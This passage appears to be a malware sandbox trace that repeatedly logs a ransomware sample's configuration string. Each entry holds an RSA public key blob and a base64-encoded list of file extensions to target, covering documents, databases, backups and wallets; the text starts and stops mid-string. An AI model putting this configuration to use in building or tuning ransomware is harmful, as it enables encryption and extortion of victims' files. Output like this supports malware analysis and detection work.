sIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3J3LCAuY3J5LCAuY3MsIC5jc2gsIC5jc2wsIC5jc3MsIC5jc3YsIC5kM2Ric3AsIC5kYWMsIC5kYXMsIC5kYXQsIC5kYiwgLmRiX2pvdXJuYWwsIC5kYjMsIC5kYmYsIC5kYngsIC5kYzIsIC5kY3IsIC5kY3MsIC5kZGQsIC5kZG9jLCAuZGRydywgLmRkcywgLmRlZiwgLmRlciwgLmRlcywgLmRlc2lnbiwgLmRnYywgLmRnbiwgLmRpdCwgLmRqdnUsIC5kbmcsIC5kb2MsIC5kb2NtLCAuZG9jeCwgLmRvdCwgLmRvdG0sIC5kb3R4LCAuZHJmLCAuZHJ3LCAuZHRkLCAuZHdnLCAuZHhiLCAuZHhmLCAuZHhnLCAuZWRiLCAuZW1sLCAuZXBzLCAuZXJic3FsLCAuZXJmLCAuZXhmLCAuZmRiLCAuZmZkLCAuZmZmLCAuZmgsIC5maGQsIC5mbGEsIC5mbGFjLCAuZmxiLCAuZmxmLCAuZmx2LCAuZmx2diwgLmZvcmdlLCAuZnB4LCAuZnhnLCAuZ2JyLCAuZ2hvLCAuZ2lmLCAuZ3JheSwgLmdyZXksIC5ncm91cHMsIC5ncnksIC5oLCAuaGJrLCAuaGRkLCAuaHBwLCAuaHRtbCwgLmliYW5rLCAuaWJkLCAuaWJ6LCAuaWR4LCAuaWlmLCAuaWlxLCAuaW5jcGFzLCAuaW5kZCwgLmluZm8sIC5pbmZvXywgLmluaSwgLml3aSwgLmphciwgLmphdmEsIC5qbnQsIC5qcGUsIC5qcGVnLCAuanBnLCAuanMsIC5qc29uLCAuazJwLCAua2MyLCAua2RieCwgLmtkYywgLmtleSwgLmtwZHgsIC5rd20sIC5sYWNjZGIsIC5sYmYsIC5sY2ssIC5sZGYsIC5saXQsIC5saXRlbW9kLCAubGl0ZXNxbCwgLmxvY2ssIC5sb2csIC5sdHgsIC5sdWEsIC5tLCAubTJ0cywgLm0zdSwgLm00YSwgLm00cCwgLm00diwgLm1hLCAubWFiLCAubWFwaW1haWwsIC5tYXgsIC5tYngsIC5tZCwgLm1kYiwgLm1kYywgLm1kZiwgLm1lZiwgLm1mdywgLm1pZCwgLm1rdiwgLm1sYiwgLm1tdywgLm1ueSwgLm1vbmV5LCAubW9uZXl3ZWxsLCAubW9zLCAubW92LCAubXAzLCAubXA0LCAubXBlZywgLm1wZywgLm1ydywgLm1zZiwgLm1zZywgLm15ZCwgLm5kLCAubmRkLCAubmRmLCAubmVmLCAubmsyLCAubm9wLCAubnJ3LCAubnMyLCAubnMzLCAubnM0LCAubnNkLCAubnNmLCAubnNnLCAubnNoLCAubnZyYW0sIC5ud2IsIC5ueDIsIC5ueGwsIC5ueWYsIC5vYWIsIC5vYmosIC5vZGIsIC5vZGMsIC5vZGYsIC5vZGcsIC5vZG0sIC5vZHAsIC5vZHMsIC5vZHQsIC5vZ2csIC5vaWwsIC5vbWcsIC5vbmUsIC5vcmYsIC5vc3QsIC5vdGcsIC5vdGgsIC5vdHAsIC5vdHMsIC5vdHQsIC5wMTIsIC5wN2IsIC5wN2MsIC5wYWIsIC5wYWdlcywgLnBhcywgLnBhdCwgLnBiZiwgLnBjZCwgLnBjdCwgLnBkYiwgLnBkZCwgLnBkZiwgLnBlZiwgLnBlbSwgLnBmeCwgLnBocCwgLnBpZiwgLnBsLCAucGxjLCAucGx1c19tdWhkLCAucG0hLCAucG0sIC5wbWksIC5wbWosIC5wbWwsIC5wbW0sIC5wbW8sIC5wbXIsIC5wbmMsIC5wbmQsIC5wbmcsIC5wbngsIC5wb3QsIC5wb3RtLCAucG90eCwgLnBwYW0sIC5wcHMsIC5wcHNtLCAucHBzeCwucHB0LCAucHB0bSwgLnBwdHgsIC5wcmYsIC5wcml2YXRlLCAucHMsIC5wc2FmZTMsIC5wc2QsIC5wc3BpbWFnZSwgLnBzdCwgLnB0eCwgLnB1YiwgLnB3bSwgLnB5LCAucWJhLCAucWJiLCAucWJtLCAucWJyLCAucWJ3LCAucWJ4LCAucWJ5LCAucWNvdywgLnFjb3cyLCAucWVkLCAucXRiLCAucjNkLCAucmFmLCAucmFyLCAucmF0LCAucmF3LCAucmRiLCAucmU0LCAucm0sIC5ydGYsIC5ydnQsIC5ydzIsIC5yd2wsIC5yd3osIC5zM2RiLCAuc2FmZSwgLnNhczdiZGF0LCAuc2F2LCAuc2F2ZSwgLnNheSwgLnNkMCwgLnNkYSwgLnNkYiwgLnNkZiwgLnNoLCAuc2xkbSwgLnNsZHgsIC5zbG0sIC5zcWwsIC5zcWxpdGUsIC5zcWxpdGUzLCAuc3FsaXRlZGIsIC5zcWxpdGUtc2htLCAuc3FsaXRlLXdhbCwgLnNyMiwgLnNyYiwgLnNyZiwgLnNycywgLnNydCwgLnNydywgLnN0NCwgLnN0NSwgLnN0NiwgLnN0NywgLnN0OCwgLnN0YywgLnN0ZCwgLnN0aSwgLnN0bCwgLnN0bSwgLnN0dywgLnN0eCwgLnN2ZywgLnN3ZiwgLnN4YywgLnN4ZCwgLnN4ZywgLnN4aSwgLnN4bSwgLnN4dywgLnRheCwgLnRiYiwgLnRiaywgLnRibiwgLnRleCwgLnRnYSwgLnRobSwgLnRpZiwgLnRpZmYsIC50bGcsIC50bHgsIC50eHQsIC51cGssIC51c3IsIC52Ym94LCAudmRpLCAudmhkLCAudmhkeCwgLnZtZGssIC52bXNkLCAudm14LCAudm14ZiwgLnZvYiwgLnZwZCwgLnZzZCwgLndhYiwgLndhZCwgLndhbGxldCwgLndhciwgLndhdiwgLndiMiwgLndtYSwgLndtZiwgLndtdiwgLndwZCwgLndwcywgLngxMSwgLngzZiwgLnhpcywgLnhsYSwgLnhsYW0sIC54bGssIC54bG0sIC54bHIsIC54bHMsIC54bHNiLCAueGxzbSwgLnhsc3gsIC54bHQsIC54bHRtLCAueGx0eCwgLnhsdywgLnhtbCwgLnhwcywgLnh4eCwgLnljYmNyYSwgLnl1diwgLnppcA==}\x01") returned 4282 [0169.400] lstrlenA (lpString="{REPEAT}{pub_key=BgIAAACkAABSU0ExAAgAAAEAAQDfpQh9iqKT1DV8nsycz6OMi+DckkbNITtchh/38JpNJ7zy6i2M42rixh7Of7CxhCtPjqFw3zfg0RHf+c43YvHUEkOrCmMZl7iU1EMNIjqFId8yFRpeOAcpXVchAmBQgKrqJexCfiY2SLqHRbn48KhgfZ32Q2kotEEdAJ1wxvaFqYMj8R8TFjr0Jlxs7LkjxaU55vJ+wRoVCGDAiLEt0pB8Be6z5+EFan++hvMFFI+wgAe3pFEc8+nA/bQZVsvnZI9cFSGUVawuvgLYpGl6h7C6fG90Ol4CeltW22iZY38BfcCyPv7mbSDuJuHuoKEWOTyXXB6NfeSWz5JZ8SzSFVSu}{mask=LjFjZCwgLjNkbSwgLjNkcywgLjNmciwgLjNnMiwgLjNncCwgLjNwciwgLjd6LCAuN3ppcCwgLmFhYywgLmFiNCwgLmFiZCwgLmFjYywgLmFjY2RiLCAuYWNjZGUsIC5hY2NkciwgLmFjY2R0LCAuYWNoLCAuYWNyLCAuYWN0LCAuYWRiLCAuYWRwLCAuYWRzLCAuYWdkbCwgLmFpLCAuYWlmZiwgLmFpdCwgLmFsLCAuYW9pLCAuYXBqLCAuYXBrLCAuYXJ3LCAuYXNjeCwgLmFzZiwgLmFzbSwgLmFzcCwgLmFzcHgsIC5hc3NldCwgLmFzeCwgLmF0YiwgLmF2aSwgLmF3ZywgLmJhY2ssIC5iYWNrdXAsIC5iYWNrdXBkYiwgLmJhaywgLmJhbmssIC5iYXksIC5iZGIsIC5iZ3QsIC5iaWssIC5iaW4sIC5ia3AsIC5ibGVuZCwgLmJtcCwgLmJwdywgLmJzYSwgLmMsIC5jYXNoLCAuY2RiLCAuY2RmLCAuY2RyLCAuY2RyMywgLmNkcjQsIC5jZHI1LCAuY2RyNiwgLmNkcncsIC5jZHgsIC5jZTEsIC5jZTIsIC5jZXIsIC5jZmcsIC5jZm4sIC5jZ20sIC5jaWIsIC5jbGFzcywgLmNscywgLmNtdCwgLmNvbmZpZywgLmNvbnRhY3QsIC5jcGksIC5jcHAsIC5jcjIsIC5jcmF3LCAuY3J0LCAuY3